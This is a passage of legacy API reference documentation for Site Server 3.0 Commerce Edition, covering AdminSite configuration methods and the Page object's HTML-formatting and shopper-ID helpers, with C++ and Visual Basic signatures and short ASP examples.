Use this method to read the properties from the configuration file of the management page (site\Manager\Config\Site.csc) and to return a site dictionary containing these properties.

Definition

[C++]
HRESULT IAdminSite::ReadManagerProperties(
  IDictionary** ppIDict
);
[Visual Basic]
Function ReadManagerProperties() As Object

Parameters

ppIDict [C++]
[out] The address of a pointer used to return the IDictionary interface of the Dictionary object that contains the properties read from the configuration file of the management page.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to a Dictionary object that contains the properties read from the configuration file of the management page.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The manager site dictionary properties are DefaultConnectionString and ConnectionStringMap. These properties are distinct from the corresponding properties in the main site configuration.

[C++] The ppIDict parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] AdminSite Object

[C++] IAdminSite::WriteManagerProperties

[C++] IAdminSite::ReadDefaultProperties

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.WriteManagerProperties

[Visual Basic] AdminSite.ReadDefaultProperties


IAdminSite::Reload Method [C++]

AdminSite.Reload Method [Visual Basic]

Use this method to reset all application and session objects for the Site Server 3.0 Commerce Edition site.

Definition

[C++]
HRESULT IAdminSite::Reload(
);
[Visual Basic]
Sub Reload()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

After a reload, the next browser request will load the Global.asa file.

See Also

[C++] AdminSite Object

[Visual Basic] AdminSite Object


IAdminSite::WriteDefaultProperties Method [C++]

AdminSite.WriteDefaultProperties Method [Visual Basic]

Use this method to write the properties from the specified site Dictionary object to the Site.csc file.

Definition

[C++]
HRESULT IAdminSite::WriteDefaultProperties(
  IDictionary* pIDictProp
);
[Visual Basic]
Sub WriteDefaultProperties(
  pIDictProp As Object
)

Parameters

pIDictProp [C++]
[in] A pointer to the IDictionary interface of the Dictionary object that contains the properties to be written to the Site.csc file.
pIDictProp [Visual Basic]
A reference to the Dictionary object that contains the properties to be written to the Site.csc file.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] AdminSite Object

[C++] IAdminSite::ReadDefaultProperties

[C++] IAdminSite::WriteManagerProperties

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.ReadDefaultProperties

[Visual Basic] AdminSite.WriteManagerProperties


IAdminSite::WriteManagerProperties Method [C++]

AdminSite.WriteManagerProperties Method [Visual Basic]

Use this method to write the properties from the specified site Dictionary object to the configuration file of the management page (site\Manager\Config\Site.csc).

Definition

[C++]
HRESULT IAdminSite::WriteManagerProperties(
  IDictionary* pIDictProp
);
[Visual Basic]
Sub WriteManagerProperties(
  pIDictProp As Object
)

Parameters

pIDictProp [C++]
[in] A pointer to the IDictionary interface of the Dictionary object that contains the properties to be written to the configuration file of the management page.
pIDictProp [Visual Basic]
A reference to a Dictionary object that contains the properties to be written to the configuration file management page.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The manager site dictionary properties are DefaultConnectionString and ConnectionStringMap. These properties are distinct from the corresponding properties in the main site configuration. This means that the password and user name information required to access site management pages can be different from those used in user pages.

See Also

[C++] AdminSite Object

[C++] IAdminSite::ReadManagerProperties

[C++] IAdminSite::WriteDefaultProperties

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.ReadManagerProperties

[Visual Basic] AdminSite.WriteDefaultProperties


AdminSite Properties [C++]

AdminSite Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Directory | BSTR | Stores the currently registered Site Server 3.0 Commerce Edition site physical directory. This property is read/write.
Status | VARIANT | Stores the open/closed status of a Site Server 3.0 Commerce Edition site. This property is read/write.
Version | long | Stores the Site Server 3.0 Commerce Edition version number. This property is read-only.
[Visual Basic]
Property | Type | Description
Directory | String | Stores the currently registered Site Server 3.0 Commerce Edition site physical directory. This property is read/write.
Status | Variant | Stores the open/closed status of a Site Server 3.0 Commerce Edition site. This property is read/write.
Version | Long | Stores the Site Server 3.0 Commerce Edition version number. This property is read-only.


IAdminSite::get_Directory, put_Directory Property [C++]

AdminSite.Directory Property [Visual Basic]

The Directory property is a read/write string that contains the currently registered Site Server 3.0 Commerce Edition site physical directory.

Definition

[C++]

Get method:

HRESULT IAdminSite::get_Directory(
  BSTR* Directory
);

Put method:

HRESULT IAdminSite::put_Directory(
  BSTR Directory
);
[Visual Basic]
Property Directory As String

Parameters

Directory [C++]
[out] When getting the property, the address of a BSTR used to return the name of the directory.
[in] When putting the property, a BSTR that contains the name of the directory.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The valid characters and length for a Web site name are determined by the restrictions on the file system.

[C++] The Directory parameter contains valid data only if the property is accessed successfully.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] AdminSite Object

[C++] IAdminSite::InitializeFromMDPath

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.InitializeFromMDPath


IAdminSite::get_Status, put_Status Property [C++]

AdminSite.Status Property [Visual Basic]

The Status property is a read/write Boolean that indicates whether or not the Site Server 3.0 Commerce Edition site is open or closed. In addition, the Status property either opens or closes the Site Server 3.0 Commerce Edition site, when the value is set.

Definition

[C++]

Get method:

HRESULT IAdminSite::get_Status(
  VARIANT_BOOL* Status
);

Put method:

HRESULT IAdminSite::put_Status(
  VARIANT_BOOL Status
);
[Visual Basic]
Property Status As Boolean

Parameters

Status [C++]
[in] When putting the property, a VARIANT_BOOL that contains the open/closed status of the site.
[out] When getting the property, the address of a VARIANT_BOOL used to return the open/closed status of the site. A value of True indicates that the site is open. A value of False indicates that the site is closed.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Changing this property sets a value in the site configuration to the text "Open" or "Closed." When the site is reloaded, this value is read by the Global.asa file into the com_compref_frnc.htm value of the site Dictionary object. Each page in the Site Server 3.0 Commerce Edition site then determines whether or not to redirect the browser by checking the value of the Site.Status property. If the text does not equal "Open," then the browser is redirected to the address specified by the Site.CloseRedirectURL property.

[C++] When getting the property, the Status parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] AdminSite Object

[Visual Basic] AdminSite Object


IAdminSite::get_Version Property [C++]

AdminSite.Version Property [Visual Basic]

The Version property is a read-only integer used to return the version of Site Server 3.0 Commerce Edition in use.

Definition

[C++]
HRESULT IAdminSite::get_Version(
  long* Version
);
[Visual Basic]
Property Version As Long

Parameters

Version [C++]
[out] A pointer to a long used to return the version of Site Server 3.0 Commerce Edition in use.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The Version parameter contains valid data only if the property is accessed successfully.

See Also

[C++] AdminSite Object

[Visual Basic] AdminSite Object


Page Object [C++]

Page Object [Visual Basic]

Use this object to simplify forms processing in Active Server Pages (ASP).

[C++]
ProgID: | Commerce.Page (Externally creatable)
COM Class Name: | MSCSPage_3_0
COM Interface Name: | IMSCSPage_3_0
Interface ID Constant: | IID_IMSCSPage_3_0
Header File: | commerce.h, mspu_guids.h
Type Library Name: | Commerce -- MSCSAspHelp Type Library
DLL Name: | MSCSAspHelp.dll
Threading Model: | Both

Important

  • This object is included for backward compatibility with Site Server 3.0 Commerce Edition. For more information, see the AuthManager and AppFrameWork objects, which provide similar functionality to many of the methods in this object.

The Page object methods fall into the following categories:

  • Formatting methods. These methods include Encode, Option, and Check. These methods make it possible for you to easily format HTML page items, and where applicable, to determine HTML item values based upon a run-time evaluation of other variables used in your page.
  • Validation methods. These methods begin with Request. They are used to retrieve values from a URL query string, convert the values to given data types based on a locale value, and validate these values against a specified range.
[C++]

In C++, use the IMSCSPage_3_0 interface to access the properties and methods of the Page object.

Methods

[C++]
Method | Description
Check | Generates the word CHECKED for use in an HTML page based upon a supplied value.
Encode | Encodes text in HTML.
GetShopperId | Returns the unique shopper ID for the current shopper.
HTMLEncode | Encodes text in HTML.
Option | Generates an option button on a page.
ProcessVerifyWith | Copies the contents of hidden fields created using the VerifyWith method into an OrderForm object's _verify_with Dictionary object.
PutShopperId | Writes the specified shopper ID for use in a URL or a secure URL (or as a cookie).
RequestDate | Retrieves a value from a URL query string or form post variable and converts it to a date value (Date Variant), based on the specified or default locale.
RequestDateTime | Retrieves a value from a URL query string or form post variable and converts it to a date/time value (Date Variant), based on the specified or default locale.
RequestDefault | Retrieves a value from a URL query string or form post variable and returns the value as a string.
RequestFloat | Retrieves a value from a URL query string or form post variable and converts it to a floating-point value, based on the specified or default locale. It then checks the value against a specified range and validates the value, based on the specified locale.
RequestMoneyAsNumber | Retrieves a value from a URL query string or form post variable and converts it to a number in the base monetary units of the specified or default locale.
RequestNumber | Retrieves a value from a URL query string or form post variable and converts it to a number, based on the specified or default locale.
RequestString | Retrieves a value from a URL query string or form post variable and performs string processing on it, based on the specified locale.
RequestTime | Retrieves a value from a URL query string or form post variable and converts the string to a Date Variant, based on the specified or default locale.
SiteRoot | Returns the physical directory that contains the Commerce Server site.
SURL | Generates a secure URL based on the local path to a file. This URL includes the shopper ID, where applicable.
SURLPrefix | Returns the secure root domain, which can be used as the prefix of a complete URL.
URL | Generates a full URL based on the local path to a file. This URL can include arguments and the shopper ID, where applicable.
URLArgs | Generates a series of query string arguments appropriate for passing in a URL.
URLEncode | Applies URL encoding rules to a specified string.
URLPrefix | Returns the non-secure root domain, which can be used as the prefix to a complete URL.
URLShopperArgs | Generates a series of query string arguments appropriate for passing in a URL. It also includes in the arguments the shopper ID if the StandardSManager has been initialized to URL mode.
VerifyWith | Sends outputs to the page hidden fields that contain verification values.
VirtualDirectory | Return the name of the virtual directory for the site.
[Visual Basic]
Method | Description
Check | Generates the word CHECKED for use in an HTML page based upon a supplied value.
Encode | Encodes text in HTML.
GetShopperId | Returns the unique shopper ID for the current shopper.
HTMLEncode | Encodes text in HTML.
Option | Generates an option button on a page.
ProcessVerifyWith | Copies the contents of hidden fields created using the VerifyWith method into an OrderForm object's _verify_with Dictionary object.
PutShopperId | Writes the specified shopper ID for use in a URL or a secure URL (or as a cookie).
RequestDate | Retrieves a value from a URL query string or form post variable and converts it to a date value (Date Variant), based on the specified or default locale.
RequestDateTime | Retrieves a value from a URL query string or form post variable and converts it to a date/time value (Date Variant), based on the specified or default locale.
RequestDefault | Retrieves a value from a URL query string or form post variable and returns the value as a string.
RequestFloat | Retrieves a value from a URL query string or form post variable and converts it to a floating-point value, based on the specified or default locale. It then checks the value against a specified range and validates the value, based on the specified locale.
RequestMoneyAsNumber | Retrieves a value from a URL query string or form post variable and converts it to a number in the base monetary units of the specified or default locale.
RequestNumber | Retrieves a value from a URL query string or form post variable and converts it to a number, based on the specified or default locale.
RequestString | Retrieves a value from a URL query string or form post variable and performs string processing on it, based on the specified locale.
RequestTime | Retrieves a value from a URL query string or form post variable and converts the string to a Date Variant, based on the specified or default locale.
SiteRoot | Returns the physical directory that contains the Commerce Server site.
SURL | Generates a secure URL based on the local path to a file. This URL includes the shopper ID, where applicable.
SURLPrefix | Returns the secure root domain, which can be used as the prefix of a complete URL.
URL | Generates a full URL based on the local path to a file. This URL can include arguments and the shopper ID, where applicable.
URLArgs | Generates a series of query string arguments appropriate for passing in a URL.
URLEncode | Applies URL encoding rules to a specified string.
URLPrefix | Returns the non-secure root domain, which can be used as the prefix to a complete URL.
URLShopperArgs | Generates a series of query string arguments appropriate for passing in a URL. It also includes in the arguments the shopper ID if the StandardSManager has been initialized to URL mode.
VerifyWith | Sends outputs to the page hidden fields that contain verification values.
VirtualDirectory | Returns the name of the s for the site.

Properties

[C++]
Property | Type | Description
Context | IDispatch | A value that contains the Microsoft Internet Information Services (IIS) scripting context. This property is read-only.
[Visual Basic]
Property | Type | Description
Context | IDispatch | A value that contains the Microsoft Internet Information Services (IIS) scripting context. This property is read-only.

Remarks

The Page object is not available through the Common Language Runtime Interop Layer or the Base Class Library. Functionality similar to that of the Page object resides in the AuthManger class in the Base Class Library.

See Also

Backward Compatibility Objects

[C++] AppFrameWork Object

[C++] AuthManager Object

[Visual Basic] AppFrameWork Object

[Visual Basic] AuthManager Object


IMSCSPage_3_0 Methods [C++]

Page Methods [Visual Basic]

Methods

[C++]
Method | Description
Check | Generates the word CHECKED for use in an HTML page based upon a supplied value.
Encode | Encodes text in HTML.
GetShopperId | Returns the unique shopper ID for the current shopper.
HTMLEncode | Encodes text in HTML.
Option | Generates an option button on a page.
ProcessVerifyWith | Copies the contents of hidden fields created using the VerifyWith method into an OrderForm object's _verify_with Dictionary object.
PutShopperId | Writes the specified shopper ID for use in a URL or a secure URL (or as a cookie).
RequestDate | Retrieves a value from a URL query string or form post variable and converts it to a date value (Date Variant), based on the specified or default locale.
RequestDateTime | Retrieves a value from a URL query string or form post variable and converts it to a date/time value (Date Variant), based on the specified or default locale.
RequestDefault | Retrieves a value from a URL query string or form post variable and returns the value as a string.
RequestFloat | Retrieves a value from a URL query string or form post variable and converts it to a floating-point value, based on the specified or default locale. It then checks the value against a specified range and validates the value, based on the specified locale.
RequestMoneyAsNumber | Retrieves a value from a URL query string or form post variable and converts it to a number in the base monetary units of the specified or default locale.
RequestNumber | Retrieves a value from a URL query string or form post variable and converts it to a number, based on the specified or default locale.
RequestString | Retrieves a value from a URL query string or form post variable and performs string processing on it, based on the specified locale.
RequestTime | Retrieves a value from a URL query string or form post variable and converts the string to a Date Variant, based on the specified or default locale.
SiteRoot | Returns the physical directory that contains the Commerce Server site.
SURL | Generates a secure URL based on the local path to a file. This URL includes the shopper ID, where applicable.
SURLPrefix | Returns the secure root domain, which can be used as the prefix of a complete URL.
URL | Generates a full URL based on the local path to a file. This URL can include arguments and the shopper ID, where applicable.
URLArgs | Generates a series of query string arguments appropriate for passing in a URL.
URLEncode | Applies URL encoding rules to a specified string.
URLPrefix | Returns the non-secure root domain, which can be used as the prefix to a complete URL.
URLShopperArgs | Generates a series of query string arguments appropriate for passing in a URL. It also includes in the arguments the shopper ID if the StandardSManager has been initialized to URL mode.
VerifyWith | Sends outputs to the page hidden fields that contain verification values.
VirtualDirectory | Return the name of the virtual directory for the site.
[Visual Basic]
Method | Description
Check | Generates the word CHECKED for use in an HTML page based upon a supplied value.
Encode | Encodes text in HTML.
GetShopperId | Returns the unique shopper ID for the current shopper.
HTMLEncode | Encodes text in HTML.
Option | Generates an option button on a page.
ProcessVerifyWith | Copies the contents of hidden fields created using the VerifyWith method into an OrderForm object's _verify_with Dictionary object.
PutShopperId | Writes the specified shopper ID for use in a URL or a secure URL (or as a cookie).
RequestDate | Retrieves a value from a URL query string or form post variable and converts it to a date value (Date Variant), based on the specified or default locale.
RequestDateTime | Retrieves a value from a URL query string or form post variable and converts it to a date/time value (Date Variant), based on the specified or default locale.
RequestDefault | Retrieves a value from a URL query string or form post variable and returns the value as a string.
RequestFloat | Retrieves a value from a URL query string or form post variable and converts it to a floating-point value, based on the specified or default locale. It then checks the value against a specified range and validates the value, based on the specified locale.
RequestMoneyAsNumber | Retrieves a value from a URL query string or form post variable and converts it to a number in the base monetary units of the specified or default locale.
RequestNumber | Retrieves a value from a URL query string or form post variable and converts it to a number, based on the specified or default locale.
RequestString | Retrieves a value from a URL query string or form post variable and performs string processing on it, based on the specified locale.
RequestTime | Retrieves a value from a URL query string or form post variable and converts the string to a Date Variant, based on the specified or default locale.
SiteRoot | Returns the physical directory that contains the Commerce Server site.
SURL | Generates a secure URL based on the local path to a file. This URL includes the shopper ID, where applicable.
SURLPrefix | Returns the secure root domain, which can be used as the prefix of a complete URL.
URL | Generates a full URL based on the local path to a file. This URL can include arguments and the shopper ID, where applicable.
URLArgs | Generates a series of query string arguments appropriate for passing in a URL.
URLEncode | Applies URL encoding rules to a specified string.
URLPrefix | Returns the non-secure root domain, which can be used as the prefix to a complete URL.
URLShopperArgs | Generates a series of query string arguments appropriate for passing in a URL. It also includes in the arguments the shopper ID if the StandardSManager has been initialized to URL mode.
VerifyWith | Sends outputs to the page hidden fields that contain verification values.
VirtualDirectory | Returns the name of the s for the site.


IMSCSPage_3_0::Check Method [C++]

Page.Check Method [Visual Basic]

Use this method to generate the word CHECKED into a page if the value specified in the vtCheck parameter is a nonzero value. CHECKED is a parameter to an HTML <INPUT> tag, which sets a check box or radio button to selected when the form first loads.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition.

Definition

[C++]
HRESULT IMSCSPage_3_0::Check(
  VARIANT vtCheck,
  BSTR* pbstrRet
);
[Visual Basic]
Function Check(
  vtCheck As Variant
) As String

Parameters

vtCheck [C++]
[in] A VARIANT that contains the expression that is evaluated to determine whether the word CHECKED should be inserted at the location on a page where the call to Check appears.
vtCheck [Visual Basic]
A Variant that contains the expression that is evaluated to determine whether the word CHECKED should be inserted at the location on a page where the call to Check appears.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the string "CHECKED" or "".

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the string "CHECKED" or "".

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' The following example could be used in an ASP file
' to generate three radio buttons in an HTML form:
' oPage is a Commerce.Page object
<% my_color="Green" %>
<INPUT TYPE="RADIO" NAME="CONTROL1" VALUE="0"<% = _
    oPage.Check(my_color="Red")%>>Red
<INPUT TYPE="RADIO" NAME="CONTROL1" VALUE="1"<% = _
    oPage.Check(my_color="Green")%>>Green
<INPUT TYPE="RADIO" NAME="CONTROL1" VALUE="2"<% = _
    oPage.Check(my_color="Blue")%>>Blue
' Assuming that my_color contains "Green" this produces
' the following HTML output:
<INPUT TYPE="RADIO" NAME="CONTROL1" VALUE="0">Red
<INPUT TYPE="RADIO" NAME="CONTROL1" VALUE="1"CHECKED>Green
<INPUT TYPE="RADIO" NAME="CONTROL1" VALUE="2">Blue
' This HTML output produces three radio buttons labeled Red,
' Green, and Blue, with the Green option selected.

See Also

[C++] Page Object

[C++] IMSCSPage_3_0::Option

[Visual Basic] Page Object

[Visual Basic] Page.Option


IMSCSPage_3_0::Encode Method [C++]

Page.Encode Method [Visual Basic]

Use this method to apply HTML encoding to the specified text string.

This method is identical to the HTMLEncode method, which is the preferred name for this function. The Encode method applies HTML encoding to the specified text string. Characters in the string, such as "<" and "&" that have special meanings in HTML, are converted into their HTML equivalents, such as &lt; and &amp; so that they will be displayed correctly by the client browser.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition.

Definition

[C++]
HRESULT IMSCSPage_3_0::Encode(
  VARIANT vtValue,
  BSTR* pbstrRet
);
[Visual Basic]
Function Encode(
  vtValue As Variant
) As String

Parameters

vtValue [C++]
[in] A VARIANT that contains the text string to encode.
vtValue [Visual Basic]
A Variant that contains the text string to encode.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the encoded HTML text.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains encoded HTML text.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
' sEncoded is a String
' vOriginal is a String Variant
sEncoded = oPage.Encode(vOriginal)

See Also

[C++] Page Object

[C++] IMSCSPage_3_0::HTMLEncode

[Visual Basic] Page Object

[Visual Basic] Page.HTMLEncode


IMSCSPage_3_0::GetShopperId Method [C++]

Page.GetShopperId Method [Visual Basic]

This method returns the unique shopper ID for the current user. (The shopper ID is returned from a URL query string or a cookie, depending on the initialization mode of the StandardSManager for the site.)

If the current customer does not have a shopper ID, GetShopperID returns NULL.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AuthManager object, which provides similar functionality to that found in the GetShopperID method. Using the AuthManager methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::GetShopperId(
  VARIANT* pvarShopperID
);
[Visual Basic]
Function GetShopperId() As Variant

Parameters

pvarShopperID [C++]
[out, retval] A pointer to a VARIANT used to return the shopper ID.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the shopper ID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The pvarShopperID parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Page Object

[C++] StandardSManager Object

[C++] AuthManager Object

[C++] IMSCSPage_3_0::PutShopperId

[Visual Basic] Page Object

[Visual Basic] StandardSManager Object

[Visual Basic] AuthManager Object

[Visual Basic] Page.PutShopperId


IMSCSPage_3_0::HTMLEncode Method [C++]

Page.HTMLEncode Method [Visual Basic]

Use this method to apply HTML encoding to the specified text string. Its typical use is to display the contents of text fields contained in the database in HTML. Characters in the string, such as "<" and "&" that have special meanings in HTML, are converted into their HTML equivalents, such as &lt; and &amp; so that they will be displayed correctly by the client browser.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition.

Definition

[C++]
HRESULT IMSCSPage_3_0::HTMLEncode(
  VARIANT vtValue,
  BSTR* pbstrRet
);
[Visual Basic]
Function HTMLEncode(
  vtValue As Variant
) As String

Parameters

vtValue [C++]
[in] A VARIANT that contains the text string to encode.
vtValue [Visual Basic]
A String Variant that contains the text string to encode.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the encoded HTML text.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains encoded HTML text.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completed successfully.

If the text field to be displayed already contains HTML encoding, do not use the HTMLEncode method. For example, suppose your product_description field contains HTML-encoded text such as "The <I>Classic Diner Clock</I> brings the age of the &quot;Golden Oldies&quot; to your kitchen." This string uses the <I> tag to format italic text and the &quot; sequence to display quotation marks when displayed by the client browser. Because the string is already coded in HTML, you do not need to encode it again. Double-encoding the string would produce incorrect results.

The Page.HTMLEncode method is identical to the Page.Encode method, but the HTMLEncode method is the preferred name. The method is similar to Server.HTMLEncode except that the Page.HTMLEncode method handles NULL values by returning an empty string (the Server.HTMLEncode method fails when the vtValue parameter is NULL). This distinction is important because database queries can return NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oPage is a Commerce.Page object
Assume that the company_name field contains the name Freeman & Sons
' The following HTML example displays the contents of the company_name
' field as an <H1> tag:
<H1><% = oPage.HTMLEncode(companyinfo.company_name) %></H1>
' This example returns the following HTML string:

<H1>Freeman &amp; Sons</H1>

See Also

[C++] Page Object

[C++] IMSCSPage_3_0::URLEncode

[Visual Basic] Page Object

[Visual Basic] Page.URLEncode


IMSCSPage_3_0::Option Method [C++]

Page.Option Method [Visual Basic]

Use this method to generate an OPTION item in an HTML form selection list, and then assign it the value and selection state that you specify. Although this functionality can be created without the Option method, using the method can speed your site development.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::Option(
  VARIANT vtVal1,
  VARIANT vtVal2,
  BSTR* pbstrRet
);
[Visual Basic]
Function Option(
  vtVal1 As Variant,
  vtVal2 As Variant
) As String

Parameters

vtVal1 [C++]
[in] A VARIANT that contains the value of the option in the selection list.
vtVal1 [Visual Basic]
A Variant that contains the value of the option in the selection list.
vtVal2 [C++]
[in] A VARIANT that contains a value that indicates whether the list option is the selected option. If vtVal2 is equal to vtVal1, then the HTML keyword SELECTED is inserted in the definition of the option list.
vtVal2 [Visual Basic]
A Variant that contains a value that indicates whether the list option is the selected option. If vtVal2 is equal to vtVal1, then the HTML keyword SELECTED is inserted in the definition of the option list.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the OPTION item.

Return Values

